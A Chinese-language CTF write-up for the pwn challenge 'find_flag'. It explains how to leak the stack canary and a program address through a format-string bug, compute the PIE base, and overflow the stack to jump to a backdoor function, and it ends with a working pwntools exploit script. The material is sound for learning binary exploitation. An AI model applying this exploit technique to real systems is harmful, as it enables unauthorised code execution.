Pwn

find_flag

这题卡在泄露地址上了,赛后才知道可以通过泄露在栈上的某个程序地址后计算出 elf 的基址,然后就可以计算出后门函数的真实地址了。
image.png
64 位文件,保护全开。
image.png
main 函数中存在栈溢出漏洞和格式化字符串漏洞。有了格式化字符串漏洞可以考虑泄露 canary,同时程序开启了 PIE,也可以考虑用格式化字符串漏洞泄露栈上的程序地址。
image.png
程序存在后门函数。

思路:泄露 canary 的值后在栈溢出时把泄露得到的 canary 覆盖在原位置上来绕过,然后用后门函数地址覆盖返回地址,最后拿到 flag。

image.png
image.png
根据上面两图计算 canary 距离 rsp 的偏移,上图红框是 canary,这里看到距离 rsp 为 12,但是别忘了 64 位程序中前 6 个参数先进入 rdi,rsi,rcx,rdx,r8,r9 寄存器再压入栈,所以正常应该是还要 +6,但是这里不知道为啥已经有 rdi 在栈上了,踩一下这时偏移应该是 12+5=17。所以用 %17$llx 来泄露 canary。
接下来还差后门函数地址,在上图中,注意到红色部分的地址,有好几个,个人感觉都可以泄露出来计算,当然要找对偏移才能计算到 elf 基址。我选择泄露 rbp 下面的那个地址,也就是 0x55555555546f ◂— mov eax, 0,这个地址的内容是对应程序中的某一次 mov eax, 0,有经验的话应该会注意到这些红色的地址只有最后的几位是不一样的,再加上开启了 PIE 导致在 IDA 中看到的地址只有最后四位(也就是实际偏移),那么来验证一下这个猜想,0x*46f 在 IDA 中能不能找到这条指令:
image.png
所以,就可以通过 0x55555555546f - 0x146f 来得到 elf 基址,然后在 IDA 中可知后门函数的偏移,就可以计算出后门函数的真实地址。

  1. from pwn import *
  2. context.log_level = 'debug'
  3. p = process('./find_flag')
  4. #p = remote('192.168.36.238', 2001)
  5. p.sendlineafter("Hi! What's your name? ", '%17$llx, %19$llx')
  6. p.recvuntil('Nice to meet you, ')
  7. canary = int((b'0x' + p.recv(16)), 16)
  8. p.recvuntil(', ')
  9. elfbase = int((b'0x' + p.recv(12)), 16) - 0x146f
  10. log.success('leak: 0x%xneflbase: 0x%x' %(canary, elfbase))
  11. backdoor = elfbase + 0x1228
  12. p.sendlineafter('Anything else? ', b'a' * 56 + p64(canary) + p64(0) + p64(backdoor))
  13. p.interactive()